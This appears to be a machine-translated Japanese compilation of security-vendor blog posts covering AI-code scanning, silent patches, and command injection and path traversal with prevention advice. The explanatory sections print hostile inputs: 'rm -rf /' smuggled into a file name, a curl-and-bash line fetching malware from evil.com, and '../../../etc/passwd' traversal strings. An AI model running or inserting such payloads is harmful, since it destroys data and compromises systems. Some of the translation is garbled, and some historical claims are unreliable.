ブログへようこそ

Cursor AIは瞬く間に注目のAIコードエディターとなり、より速く効率的にコードを書きたい開発者の間で急速に人気を集めている。しかし、Cursorはコーディングを加速させる一方で、開発者はGen AIコードの安全性をどのように信頼できるのだろうか？

TL;DR:Aikido x Cursorを使えば、開発者は生成されたコードをそのままセキュアにすることができる。

Cursorは、VSCode上に構築された「AIネイティブ」IDEである。Cursorは、Github Co-pilot、Cognition、Poolside、Magic、Augmentなどと競合し、AIコーディングのコパイロット・スタートアップとしてますます混雑している分野で運営されている。

Cursorは2022年に設立されたが、CursorがGen AIコードレースの先頭に躍り出たのは2024年半ばのことで、CursorがデフォルトモデルとしてSonnet 3.5Mを追加したのと同時期だった。以下は、substackのNo.1技術ニュースレターであるGregely Oroszによる先週の「The Pragmatic Engineer」からのスナップショットで、GenAI機能を持つIDEを開発者がどのようにランク付けしているかを取り上げて いる：

回答者のほとんどがアーリーアダプターである可能性が高いとはいえ、新規参入企業であるCursorがこれほど早く人々の心を掴んでいるのは、非常に印象的なことだ。彼らがその後、Andreessen Horowitz、Thrive Capital、OpenAI、Jeff Dean、Noam Brown、そしてStripe、GitHub、Ramp、Perplexity、OpenAIの創業者等からシリーズAで6,000万ドルの資金を調達したのも不思議ではない。

そのため、Aikido SecurityはCursor AIとの新しい統合を開始することに興奮しています。Aikido x CursorはCursor IDEにリアルタイムのセキュリティをもたらし、開発者が歩みを止めることなく、最初から安全なコードを書き、生成できるようにします。

統合の仕組み

今日、Aikido Cursor IDEに直接統合することができます。Aikido 、開発中にファイルを開いたり保存したりするたびに、コードベースの秘密、APIキー 、SAST コードの問題をスキャンします。

何らかの問題が検出された場合、Aikido エディター上でそれらをハイライトし、問題パネルに問題を表示します。検出されたSASTの問題にカーソルを合わせると、その問題についての補足説明が表示されます。場合によっては、チャットでのカーソルの提案で問題を修正することもできます（まだ未熟ですが）。

1. 脆弱性を即座に検出
   Aikidoは、コードが生成される際にスキャンを行い、リアルタイムでセキュリティの脆弱性を特定します。明確で簡潔な説明により、何が問題で、なぜそれが重要なのかを確実に知ることができます。
2. ワンクリックで問題を修正
   脆弱性にフラグが立てられると、Cursor はワンクリックで修正案を生成できます。Cursorのチャット・インターフェースから直接適用できます。Cursorの提案のすべてが有効ではないことに注意してください。
3. 集中し続ける
   すべてがCursor IDE内で行われます。ツールを切り替えたり、外部スキャンを実行したり、別々のプラットフォームを使いこなす必要はありません。Aikido IDEにシームレスに統合されているので、コードの安全性を確認しながらビルドに集中できます。

なぜ重要なのか

AIがエンジニアリングに与える影響に疑いの余地はない。AIコードジェネレーターやコ・パイロットは無謬ではない。一方では、Gen AIはセキュリティを向上させるために使用することができる（これについてはすぐに詳しく説明する！）。その一方で、AIは必然的に脆弱性も導入することになる。私たちは皆、AIが細部まで完成させる日を待ち望んでいる。今日、我々は一歩近づいた。

この統合により、開発者は高速レーンにとどまり、AI駆動ツールの長所を活用しながら、安全なアプリケーションを構築することができる。セキュリティを完了させましょう。構築に戻る。

始めてみる

Cursorユーザー向けにAikido 統合が可能になりました。今のところ、統合するには有料サブスクリプションが必要です。以下の手順に従ってください：

ステップ1. Visual Studio Code Marketplaceに移動し、Cursorに拡張機能をインストールする方法の指示に従います。

ステップ2. Aikido Cursor IDEインテグレーションページに行き、トークンを作成します。

ステップ3. Visual Studio Marketplaceの ドキュメントにあるサンプルをチェックし、 すべてがうまく動作するかテストして ください。

ステップ4.建築に戻る。

生成されたコードの安全性を確保する。

インテルは、AIと社内リサーチチームによる オープンソースのセキュリティ脅威フィードです。インテルは 、オープンソースパッケージの脆弱性を監視し、 公開される前に発見します。 その多くは決して公開されることはありません。

サイレントパッチが適用されたソフトウェアの脆弱性の67％は公表されなかった

オープンソースソフトウェアは、文字通り世界を動かしている。しかし、オープンソースのセキュリティは、セキュリティ上の大きな懸念事項でもある。オープンソースのツールは、他のものと同様に、セキュリティの脆弱性をもたらす可能性があります。これらは、攻撃者がアプリケーションを悪用するために利用することができます。ソフトウェア・ベンダーは、自らの過失によらず、攻撃される可能性があるのです。そのため、オープンソースのセキュリティは非常に重要なトピックなのです。

私たちは、オープンソースコミュニティにこれらのツールの構築と保守を依存しているだけでなく、既知のセキュリティ脆弱性を修正することも依存しています。重要なことは、脆弱性が 発見されたときに、その脆弱性を公に報告 することです。コミュニティからの脆弱性の公開は、オープンソースのセキュリティの基礎を形成します。

サイレント・パッチ（シャドウ・パッチ）とは、セキュ リティ修正が適用（パッチ適用）されているにもかかわらず、公表されな いパッチのことである。これは、ベンダーがリスクを認識しないまま脆弱なソフトウェアを運用している可能性があることを 意味するため、大きな問題となる。

私たちは、あなたに影響を与える可能性のあるサイレント・パッチが適用されたソフトウェアを影から救い出すために、Aikido Intelを立ち上げます。Aikido Intelにより、開発者に影響を与える可能性のある脆弱性を発見した場合、可能な限り早い段階で警告を与え、オープンソースのセキュリティを向上させることができます。

Aikido インテルとは？

Aikido Intelは、オープンソースのサプライチェーンにおける脆弱性を可能な限り早い段階で発見することで、オープンソースのセキュリティを向上させるためのAI + 社内研究チームによるイニシアチブです。脆弱性データベースで公開される前であっても。これを達成するために、私たちはカスタムトレーニングされたLLMを使ってパッケージの変更をレビューし、セキュリティ問題が修正されたタイミングを特定します。

すべてのソフトウェアがそうであるように、オープンソースも新しいバージョンごとに調整された内容の変更ログを保持している。インテルはAIを使って、これらの公開変更ログとリリースノートをすべて読み、セキュリティ問題が修正された例を見つける。そして、5つの脆弱性データベースと照合し、問題が報告されているかどうかを確認します。もし報告されていなければ、セキュリティ・エンジニアが脆弱性を分析・評価し、Aikido 脆弱性番号と深刻度を付与して公表します。詳しくは後ほど

Aikido インテルを今すぐチェック

数字で見るAikido インテル

1月にAikido立ち上げて以来、 インテルは511件の脆弱性を発見した。の脆弱性を発見し、パッチを当てたが公表しなかった。

脆弱性にパッチを当ててから、その問題にCVE番号が割り当てられるまでに時間がかかることがあります。Aikido 毎週、過去の脆弱性の状況を再評価し、CVEが付与されているものがあるかどうかを確認しています。私たちが発見した脆弱性の67％は、どの脆弱性データベースにも公表されていないものでした！

深刻度が低い脆弱性ほど頻繁にサイレント・パッチが適用されるのは驚くことではないが、深刻度が高く重要な脆弱性の50％以上が公表されないというのは衝撃的である。これは、開発者やソフトウェア・ベンダーにとって大きな盲点となる。

さて、皆さんの中には、おそらくこれらはセキュリティ・ポリシーが限定的な、あまり人気のない、小さなオープンソース・プロジェクトなのだろう、と席を立ってもじもじしている人もいるだろうが、実はそれは間違いだ。私たちは、いくつかの非常に大規模なプロジェクトで、公表されていない脆弱性を発見しました。.

Axiosはブラウザとnode.jsのための約束ベースのHTTPクライアントで、毎週5600万ダウンロードされ、146,000以上の依存先を持つ。

この脆弱性に関する面白い事実がある： この脆弱性は、実はAikido インテルが最初に発見した脆弱性だった（2023-10001参照）。この脆弱性は現在も公表されていない！

Axiosだけでなく、他にも特別に賞賛に値する名前がいくつかある。アパッチは、公開されていなかったクロスサイト・スクリプティングの脆弱性をエカルツ・ソフトウェアにサイレント・パッチした。

私たちが発見したもうひとつの興味深い例は、9月にパッチが適用されたものの、その脆弱性が公表されなかったチェーンリットのクリティカル・パス・トラバーサル脆弱性である。

最も一般的な脆弱性

クロスサイト・スクリプティングは、最も一般的な未公開の脆弱性で、14.8%を占め、次に機密情報の漏洩が12.3%でした。全体として90種類の脆弱性が検出され、ロングテールの結果となりました。

発見された最も一般的な脆弱性

キューティクルと高度の脆弱性だけを見てみると、リモート・コード実行がリストの1位を占めており、少し違った様相を呈している。

発見された最も一般的な脆弱性 - クリティカルとハイのみ

開示までの時間

この記事を書いている時点では、67%のパッケージが脆弱性を公表していないが、31%は公表している。脆弱性を公開したパッケージのうち、パッチがリリースされてから CVE が割り当てられるまでにかかった日数は平均 27 日でした。私たちが観測した最短時間はわずか1日で、 最長時間は9ヶ月だった！

インテルの仕組み（詳細）

しかし、IntelはAikidoセキュリティ・リサーチ・チームのイニシアチブであり、AikidoAIチームは、オープンソースのセキュリティを向上させるために公開脅威フィードを提供するために、ループ内の人間とAIを活用している。

インテルは、公開されているすべての変更履歴とリリース・ノートに目を通し、セキュリティ修正が行われたにもかかわらず公開されていないかどうかを把握する。 これを実現するために、2つのLLMモデルが使用されます。1つはデータをフィルタリングし、不要なコンテキストをすべて削除するためのもので、2つ目のLLMは脆弱性分析に集中することができます。そして、人間のセキュリティ・エンジニアが LLM の発見をレビューし、発見を検証し、脆弱性が確認されたときに Intel をリリースする。

これは、脆弱性のためにこれらすべてのシステムをスキャンしようとするよりも著しく少ない計算能力を消費するため、このように効果的な方法である。とはいえ、1年以上かけて多くの真の結果を見つけることが証明されている。

Aikido インテルによる変更履歴の見方

チェンジログとは、オープンソースプロジェクトにおいて更新、バグ修正、機能追加、パッチを記録するために維持されるドキュメントである。例として以下が挙げられる。 CHANGELOG.md ファイル、コミットメッセージ、GitHubのリリースノート。

インテル® LLM は、セキュリティ関連の変更を示唆するエントリーを特定するために、以下の項目を検索する：

• キーワード「脆弱性」、「セキュリティ」、「修正」、「エクスプロイト」、「入力検証」など。
• 文脈上の合図：「重大なバグを修正した」、「バッファオーバーフローを修正した」、「認証の問題を解決した」。

LLMがフラグを立てたエントリー例：
-
- サービス拒否攻撃につながる可能性のあるメモリリークを解決しました。
- ファイルアップロード機能におけるパストラバーサルの脆弱性に対処しました。

オープンソースのセキュリティ、脆弱性の適切な開示方法

先に述べたように、公開はオープンソースのセキュリティの大きな要素である。ソフトウェアに脆弱性があることを公表するために、いくつかの異なるデータベースが使われている。主なデータベースは、米国政府が管理している国家脆弱性データベース（NVD）である。このデータベースは、企業がサプライチェーンをチェックするために使われるだけでなく、プロジェクトをこのデータベースや他のデータベースと照合してチェックするセキュリティ・ソフトウェア（SCAソフトウェア）にも使われている。その他にも、MitreのCommon Vulnerabilities and Exposuresデータベース（CVE）、GitHub Advisoryデータベースなど複数のデータベースがあり、Aikido 合計で5つの異なるデータベースと照合している。しかし、これらのデータベースのほとんどに共通しているのは、脆弱性が公開されること、通常は修正がリリースされた後であることです。

なぜ脆弱性が公表されないのか？

これは良い質問であり、脆弱性を開示しない正当な理由はないということから始めたい。おそらく最も一般的なのは、あなたのソフトウェアが安全でないとみなされるかもしれないという風評リスクでしょうが、私は、開示することよりも開示しないことで失うものの方がはるかに大きいと主張します。

シャドーパッチがオープンソースのセキュリティにとって問題である理由

ソフトウェアの脆弱性を公表しないことは、ユーザーにとって大きなリスクとなる。 壊れていないなら直すな 」ということわざがあるように 、これはソフトウェアにもよく当てはまります。

ソフトウェアのコンポーネントをアップデートすると、パフォーマンスやユーザビリティに問題が生じたり、単にアプリケーションが壊れたりすることがよくあります。このようなことを念頭に置いて、新しいバージョンが利用可能になったらすぐにパッケージをアップデートするというのは、必ずしも一般的なやり方ではありません。

しかし、コンポーネントにセキュリティ上の問題がある場合、オープンソースやサードパーティのコンポーネントをアップデートする緊急性が変わるため、それを知ることは重要です。この情報が開示されないということは、ユーザーがアップデートをする可能性が低いということであり、つまり、ユーザーが知らないうちにツールにセキュリティ上の欠陥があるということである。

隠れた脆弱性によってセキュリティが損なわれないようにしましょう。

サプライチェーンを保護し、安心感を得るために、今すぐAikido Securityと提携してください。

夏の間、私たちはAWS MarketplaceでAWSの新規ユーザーに業界最速の "Time-to-Security "を約束する製品を発表しました。

また、AWSパートナーネットワーク（APN）にも正式に加盟しました。

これはAWSのFoundational Technical Review (FTR)を通過したことを意味します。私たちはFTR承認済み*であり、AWSによって実施されたよく練られたベストプラクティスを満たしています。）

もうすぐ合気道で Aikido FTRの認可を得ることができる.Aikido 機能をFTRのセキュリティ・プロセスに対応させることで、AWSとの共同販売を迅速に開始することができます。興味がありますか？→ こちらからサインアップしてください。

AWSの公式パートナーになることで、AWSコミュニティへのアクセスがさらに広がります。私たちは、クラウドネイティブのお客様により良いサービスを提供し、カスタマージャーニーにおける不必要な複雑さを排除し、AWSクラウドユーザーのために独自のCloud Security Posture Management（CSPM）製品を拡張することができます。

なぜAikido AWS料金に追加するのか？

Aikido Securityは、コードからクラウドまでを包括的にカバーし、AWSのフルスタック機能とうまく連携している。これは、統一プラットフォーム上でアプリケーションとクラウドの両方のセキュリティを管理するAWSの顧客にとって特に価値がある。

AWS環境との直接的な統合は、Aikido EC2、S3、LambdaなどのAWSサービス全体の脆弱性をスキャンすることを可能にし、AWS内のセキュリティ可視性を強化し、クラウドネイティブアーキテクチャを補完し、デプロイを簡素化します。AikidoAWSポスチャ管理は、AWS Inspector上に構築されています。ハッカーがお客様のクラウドに初回アクセスする原因となる発見を示すことができます。

さらに、Aikidoビルトイン ビルトインのコンプライアンスチェックは、主要な標準（SOC2、ISO 27001、NIS 2、HIPAA）と整合しており、AWSのお客様がAWSのインフラストラクチャ全体のコンプライアンスを維持することを容易にします。

興味がおありですか？AWSマーケットプレイスで私たちを見つけましょう

コマンド・インジェクションとは？

コマンド・インジェクションは、SQL インジェクションやコード・インジェクションほど有名ではありませんが、ウェブ・アプ リケーションにおいて未だに広く見られる脆弱性です。もしあなたが他のインジェクションの脆弱性に精通しているなら、共通の原則を認識するでしょう：信頼されな いユーザ入力が適切に検証されず、任意のシステムコマンドの実行につながるというものです。この欠陥は、検証されていない入力がシステムレベルの関数に渡されたときに発生します。では、コマンド・インジェクションは実際にどの程度目立つのだろうか？ 私たちは、この脆弱性がどの程度一般的に見られるかを調べました！

コマンド・インジェクションの例

このコマンド・インジェクションの例を考えてみましょう。サーバーにホストされているファイルの名前を入力できるアプリケーションがあるとします。アプリケーションはそのファイルを取得し、内容を書き出します。そのコードは以下の通りです

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

上記のコードは、ユーザーが次のようなファイル名を挿入することを想定しています。 ファイル.txt しかしその代わりに、悪意のあるユーザーがコードを注入して悪意のあるコマンドを実行する。

例えば
ファイル名 file.txt; rm -rf /.

この入力は、まず ファイル.txt を実行し、悪意のある rm -rf コマンドは、ディレクトリ内のすべてのファイルを強制的に削除する。

悪意のあるユーザは、アプリケーションがユーザの入力を検証またはサニタイズしていないため、コマンド・インジェクション の影響を受けやすく、これを行うことができます。

より包括的な例をご覧になりたい方は、このページの下にあるボーナス・コンテンツをご覧ください。をご覧ください。

数字で見るコマンド・インジェクション我々の研究

• 2024年にオープンソースプロジェクトで発見された全脆弱性の7 ％がコマンドインジェクションだった
• クローズド・ソース・プロジェクトでは5.8％ ！
• オープンソースプロジェクトにおけるコマンドインジェクションの脆弱性の総数が2,348件（2023年）から2,600件（2024年）に増加する見込み。
• 全脆弱性に占めるコマンドインジェクションの割合は、2023年から2024年にかけて、オープンソースプロジェクトで14.6％、クローズドソースプロジェクトで26.4％減少している。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、その中にコマンドインジェクションの脆弱性がどれだけ隠れているかを明らかにすることに重点を置いた。

オープンソースプロジェクトで報告された全脆弱性の7%がコマンドインジェクションであり、クローズドソースプロジェクトでは5.8%であった。 これは、SQL インジェクションの脆弱性の発見数にかなり近い。

2023年から2024年にかけて、これらの脆弱性が減少するという確かな傾向が見られます。全脆弱性の割合としては、クローズドソースプロジェクトで27％、オープンソースで14％減少しています。これには多くの要因があると思われますが、重要な要因のひとつは、2024年にFBIとCISAがコマンド・インジェクションを現実の脅威として指摘し、ベンダーに注意を促したことでしょう。データによれば、この警告は聞き入れられた。

良いニュースは残念ながらそこで止まっている。オープンソースプロジェクトで報告された脆弱性の数は、全体的にまだ増加している。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の2,348件から、2024年の今のところ2,450件に増加している（2,600件に達する見込み）。

コマンド・インジェクションを防ぐには

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

サーバー側の入力検証

よくある間違いは、攻撃者が直接リクエストすることでバイパス可能なクライアント側のバリデーションだけを実行することである。

import subprocess

# 入力制限の例
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # これはユーザーからのものであるべきだが、検証される

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")

シェルコマンドを避ける

可能であれば、シェルコマンドを言語固有の関数やライブラリに置き換える。以下は、読み取り専用モードを使ってファイルを開き、その中のコンテキストを読み取る例である。

with open("file.txt", "r") as f:
print(f.read())

自動テスト

Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。

アプリ内ファイアウォールを使用する

インジェクション攻撃に対する最善の防御策の1つは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール です。Aikidoアプリ内ファイアウォール Zenはオープンソースと商用で提供されており、実行時にインジェクション攻撃を検知してブロックすることができる。

最小特権の原則の適用

アプリケーションとユーザが必要最小限の権限で実行されるように設定し、悪用による潜在的な損害を減らす。

前進への道

コマンド・インジェクションは、多くのインジェクション脆弱性とともに、技術的な観点からは課題である。そのことを念頭に置いても、この種の脆弱性がいまだに多く見られるということは、飛躍的な改善は期待できないということだ。

コマンド・インジェクションは今後も問題であり続けるだろうが、今年、大規模な組織がこの脆弱性に注目した結果、大幅に減少した。

ボーナス・コンテンツ

コマンド・インジェクションの歴史：著名な侵害

コマンド・インジェクションは長い間、根強い脅威だった。実際、1989年から2014年まで、bashには重大なコマンド・インジェクションの脆弱性が存在していた。さらに最近の2024年には、CISAとFBIによってコマンド・インジェクションの重要性が強調され、依然として大きな懸念事項であることが示された。

1.コマンド・インジェクションの黎明期

• 最初に知られた使われ方コマンド・インジェクションの脆弱性は、1970年代から1980年代にかけてのマルチユーザー・コンピューティング・システムの台頭とともに出現し、攻撃者は未消化の入力を介して任意のコマンドを実行できるようになった。
• 1980年代と1990年代：ウェブ技術の普及により、コマンド・インジェクションの悪用が増加し、特に不適切に保護されたCGIスクリプトが悪用されるようになった。

2.重大な違反と悪用

• 1998:初めて文書化されたウェブベースのコマンド・インジェクション攻撃：広く使用されているPerlベースのCGIスクリプトの脆弱性が悪用され、ウェブベースのコマンド・インジェクションの最初の大きなインシデントの一つとなった。
• 2010:Stuxnet ワーム（組み込み型コマンド・インジェクション）：Stuxnet は、コマンド・インジェクションを利用して産業用制御システムを標的にし、従来の IT 環境を超えた脆弱性を示しました。

3.2010s:規模での搾取

• 2014: シェルショックの脆弱性:Shellshock (CVE-2014-6271) は、Bashのコマンド処理を悪用し、世界中の数百万のシステムに影響を与えました。
• 2018: Cisco ASA VPN のエクスプロイト (CVE-2018-0101):Cisco の ASA ソフトウェアにコマンドインジェクションの脆弱性があり、リモートでコードが実行され、企業のセキュリティが脅かされます。

4.2020s:現代のエクスプロイトとトレンド

• 2020: Citrix ADC Gateway Exploit：攻撃者は、Citrix システムのコマンドインジェクションの脆弱性を悪用し、重大なデータ侵害を引き起こしました。
• 2023: MOVEit の脆弱性（SQL およびコマンドインジェクション）:MOVEit Transfer ソフトウェアのコマンドインジェクションの欠陥により、複数の組織で広範なデータ漏洩が発生しました。

リアル・コマンド・インジェクションの脆弱性

脆弱なコード

コマンド・インジェクションのもう少し複雑な例を見てみよう。以下は単純な Python ウェブアプリケーションのコードです。にPOSTリクエストを送ることで、指定したファイルのZIPアーカイブを作成することができます。 /アーカイブ のルートだ。

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

仕組み

ユーザーが供給する：

• ファイル (例 file1.txt file2.txt) を使ってアーカイブに含めるファイルを指定する。
• アーカイブ名 で、結果のzipアーカイブの名前を指定する。

このコードはシェルコマンドを動的に構築する：

1. zip アーカイブ名.zip file1.txt file2.txt

2.2. os.system() 関数はコマンドを実行し、ユーザーが提供した入力がコマンドの動作を決定する。

搾取

攻撃者はこれを悪用し、追加コマンドを アーカイブ名 または ファイル を入力する。

攻撃側が提供する入力：

• アーカイブ名: my_archive; rm -rf /.
• ファイル: ファイル1.txt

コマンドの結果

zip my_archive.zip file1.txt; rm -rf /.

1. zip my_archive.zip file1.txt: 期待通りにアーカイブを作成する。
2. ; rm -rf /: 別の破壊的コマンドを実行することにより、サーバー上のすべてのファイルを削除する。

より洗練された例

攻撃者はこれを悪用してマルウェアをダウンロードしたり、データを流出させたりする可能性がある：

アーカイブ名: アーカイブ; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

結果コマンド：

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

このコマンド：

1. アーカイブを作成する (zip archive.zip file1.txt).
2. 悪意のあるコードをダウンロードするcurl -o malware.sh http://evil.com/malware.sh).
3. マルウェアを実行する(バッシュ malware.sh).
   

パストラバーサルは、ディレクトリトラバーサルとも呼ばれ、悪意のあるユーザがファイルやディレクトリに不正にアクセスするために、ユーザが提供したデータを操作する場合に発生します。通常、攻撃者は異なるディレクトリにあるログや認証情報にアクセスしようとします。パストラバーサルは新しい脆弱性ではなく、ウェブサーバーが人気を博した90年代から積極的に悪用されてきた。

このような長い歴史を持つパス・トラバーサルは、現在でも人気があるのだろうか？私たちはオープンソースとクローズドソースの両方のプロジェクトで調査を行い、2024年にパス・トラバーサルがどの程度一般的であったか、そして私たちが改善しているかどうか、スポイラーたちは改善していないのか、データを収集した。

パストラバーサル例

では、パストラバーサルは具体的にどのように機能するのだろうか？簡単な例を見てみよう。

この単純なアプリケーションでは、ユーザーはURLの変数を通してダウンロードするファイルを与えられる。

リクエストを処理する簡単なバックエンドのPythonコードがある。

import os

def download_file(file):
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path):
with open(file_path, 'rb') as f:
return f.read()
else:
return "ファイルが見つかりません"

変数がURLで提供されているので、次のように変更することができる。 ファイル=.../.../.../etc/passwd

ここで攻撃者は、./../を使ってディレクトリ構造をシステムのルートレベルまでたどり、渡されたファイルにアクセスし、機密情報にアクセスする可能性がある。

この方法がどのように安全なのか知りたい方は、ボーナスコンテンツまでスクロールしてください。

多層のディレクトリやエンコードされた文字を含む、より複雑なシナリオの場合（例． 2e%2e%2f)、攻撃者は基本的なフィルターを迂回し、ファイルシステムに深くアクセスすることができる。

数字によるパストラバーサル

• 2024年までにオープンソース・プロジェクトで発見された脆弱性の2.7％が パス・トラバーサルだった
• クローズド・ソース・プロジェクトの場合は3.5%！
• オープンソースプロジェクトにおけるパス・トラバーサル脆弱性の総数が742件（2023年）から1,000件（2024年）に増加する見込み。
• 全脆弱性に占めるパストラバーサル脆弱性の割合は、クローズドソースのプロジェクトが85％と大幅に増加し、より一般的になっている。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、どれだけの数のプロジェクトにパス・トラバーサル脆弱性が隠れているかを明らかにすることに重点を置いた。

パストラバーサル脆弱性の全体的な数は、コマンドインジェクションやSQLインジェクションなど、我々が調査した他の脆弱性よりも少ない。しかし、この脆弱性が非常に危険であり、それを防ぐための解決策が十分に文書化されていることを考えると、この数字がこれほど高いのは憂慮すべきことです。この脆弱性のトレンドが悪い方向に向かっているのを見るのは、さらに憂慮すべきことだ。

オープンソースプロジェクト

オープンソースプロジェクトでは、2023年に報告された全脆弱性の2.6％をパストラバーサルが占めた。この数値は2024年にわずかに増加し、2.75%に上昇した。この増加は一見わずかなものに見えますが、単純な脆弱性に対してさえオープンソースソフトウェアの安全性を確保する上での継続的な課題を浮き彫りにしています。

クローズド・ソース・プロジェクト

最も顕著な傾向はクローズド・ソース・プロジェクトに見られ、パス・トラバーサル・インシデントが2023年の1.9％から2024年には3.5％に急増した。

悪いニュースは残念ながらこれだけにとどまらない。オープンソース・プロジェクトで報告される脆弱性の数は、全体的に増加の一途をたどっている。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の742件から、2024年の今のところ917件に増加している（1000件に達する見込み）。

パス・トラバーサルの防止

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

入力検証

• ユーザー入力のサニタイズ:などの危険な文字を取り除くか、エンコードする。 ../, ..\, ..%2fその他のバリエーションもある。
• Allowlistアプローチ：許容される入力（ファイル名やパスなど）の厳密なセットを定義し、このリスト以外のものを拒否する。

ファイルアクセスの制限

• chroot jailまたはサンドボックスを使用します：アプリケーションのファイルアクセスを制限されたディレクトリに制限し、意図したディレクトリツリーを越えてトラバースできないようにします。
• ルートディレクトリの設定:ベース・ディレクトリを定義し、すべてのパスがそれに対する相対パスであることを保証する。これを強制するAPIやフレームワークを使用する：java.nio.file.Paths.get("baseDir").resolve(userInput).normalize()。 Javaで。
  os.path.realpath() そして os.path.commonpath() Pythonで。

セキュアなファイルアクセスAPI

• 最新のライブラリやフレームワークが提供する安全なファイルアクセス方法を使用する。 Java使用する Files.newInputStream() または Files.newBufferedReader() 安全なファイル操作のために。
  で Pythonファイルにアクセスする前に、ファイルのパスを検証してください。

使用環境の制限

• 制限を設ける ファイルシステムのパーミッションアプリケーションに必要最低限の権限しかないようにする。
  機密性の高いディレクトリへのアクセスを拒否する(例、 /etc, /var, /usrおよびユーザーホームディレクトリ)。
• ウェブサーバーやフレームワークの不要な機能（シンボリックリンクのフォローなど）を無効にする。

自動テスト

• Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。
• SASTとDASTの両ツールは、ドメインスキャンやクラウドセキュリティとともに使用し、隠れたパストラバーサル脆弱性がないことを確認する必要がある。

アプリ内ファイアウォールを使用する

• インジェクション攻撃に対する最善の防御策のひとつは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール だ。

前進への道

パストラバーサルは、ウェブアプリケーションの初期から存在する脆弱性であり、非常に単純であることが多い一方で、非常に壊滅的な悪用になることもあります。そのため、非常に多くのプロジェクトがいまだにこのような問題に悩まされていることが気になる。3.5%は高い数字ではないように思えるが、その脅威が明らかに継続し、十分に文書化されているにもかかわらず、この数字が増加していることは非常に注目に値する。

パストラバーサルは、消えてなくなる脆弱性ではありませんが、良いニュースは、アプリケーションでこれらの脆弱性を見つけ、見つけた問題を修正することができる明確な方法があるということです。

ボーナス・コンテンツ

実際の事件

近年、いくつかの有名な侵害や脆弱性があり、それらは侵入の主要なポイントとして、あるいは脆弱性の連鎖の一部として、パス・トラバーサルに関与していた。

Microsoft IIS Unicode Exploit(2001)

Microsoft IIS サーバーを標的とした、最も初期の著名なパストラバーサル悪用の1つである。攻撃者はエンコードされたパスを使用して、検証メカニズム（たとえば c0%af を表します。 /).これにより、ウェブのルート・ディレクトリ外のファイルにアクセスし、実行することが可能になった。

これにより、マルウェアの展開や多数のウェブサイトの改ざんが可能になった。

フォーティネットVPNパストラバーサル(2019)

フォーティネットのSSL VPNにディレクトリトラバーサルの脆弱性（CVE-2018-13379）があることが判明しました。攻撃者はこの欠陥を悪用し、VPNユーザーの平文パスワードなど、機密性の高いシステムファイルにアクセスしていました。

何千ものVPN認証情報がネット上に流出し、組織は不正アクセスやさらなる攻撃にさらされることになった。

キャピタル・ワンの情報漏えい(2019)

何が起こったか主な原因はSSRFの脆弱性であったが、攻撃者はAWS S3バケットのメタデータにアクセスする際にディレクトリトラバーサルも利用していた。攻撃者は設定ミスを悪用し、本来アクセスできないはずの設定ファイルを取得した。

これにより、1億600万人のクレジットカード申込者の個人情報が流出した。

Kubernetesダッシュボードにおけるパストラバーサル(2020)

Kubernetes Dashboard にはディレクトリトラバーサルの不具合（CVE-2020-8563）がありました。攻撃者はこれを悪用して、コンテナ内の機密ファイルを読み取る。 /etc.

セキュリティ・ツールにどのようなアプローチを使うかを決めるとき、2つの選択肢があるように思える。

1.左の腎臓を売って 、F1マシンの側面に名前がある企業ソリューションを買う。

2.金曜日の夜、出会い系アプリよりも多くの偽陽性を右スワイプする無料のオープンソースツールを選ぶ。

セキュリティにおけるあらゆることがそうであるように、現実にはもっと解き明かすべきことがある。この記事では、どのような場合にオープンソースのセキュリティ・ツールを使うべきか、どのような場合に商用ツールの方が効果的なのか、そしてオープンソースのコアから構築されたツールを信頼できるのかを探ってみたい。

ビルドとバイ（オープンソースのコストの罠）

会社を成長させるにつれ、オープンソースか商用かの選択は、ツールを構築するか購入するかの選択であることにすぐに気づくだろう。オープンソースは素晴らしい出発点を提供してくれるが、ダッシュボード、統合、コンプライアンス・レポート、修復ワークフロー、誤検出フィルタリング、脆弱性の優先順位付けなど、必要な機能の多くが欠けている。つまり、オープンソースは無料であるという考えは単純に正しくないということだ。しかし、これは利点でもある。構築しながら進めることで、初期投資を抑え、自社にとって重要な機能に集中することができる。ベンダーが2年前の第3四半期に "約束した "機能を提供してくれることを当てにしているわけではないということだ。

オープンソースのツールの上に構築する場合、考慮すべきマイナス面がたくさんある。まず、これらのツールを構築するのに多大な開発時間がかかるだけでなく、継続的なメンテナンスも必要になる。セキュリティ・ツールは、例えばCI/CDパイプラインのような要素に統合されている場合、本番稼動を妨げる可能性もある。つまり、故障やクラッシュが発生した場合、オンラインに戻すためのサポートがないため、生産性が低下する可能性があるのだ。

では、購入オプションはどうだろうか？まず、立ち上げ期間がなく、最初から完全なカバレッジが得られるので、後々のセキュリティ負債が少なくなります。また、社内ツールの機能構築に集中するために、エンジニアリング・チームを中核的な目標から外すという機会損失も生じない。ペースの速いスタートアップの世界では、この価値を過小評価してはならない。

オープンソース vs 商用

商用ツールの方が脆弱性発見に優れている？

ここまでのところ、おそらく最も重要な質問のひとつもしないまま、ツールのすべての機能について話してきた。何がより多くの脆弱性を見つけるのか？ 一般的に言って、オープンソース・ツールの中核機能は、脆弱性を見つける能力において、商用ツールに匹敵することが多い。しかし、商用ツールが勝るのは、偽陽性をフィルタリングし、発見した内容に優先順位をつける能力である。

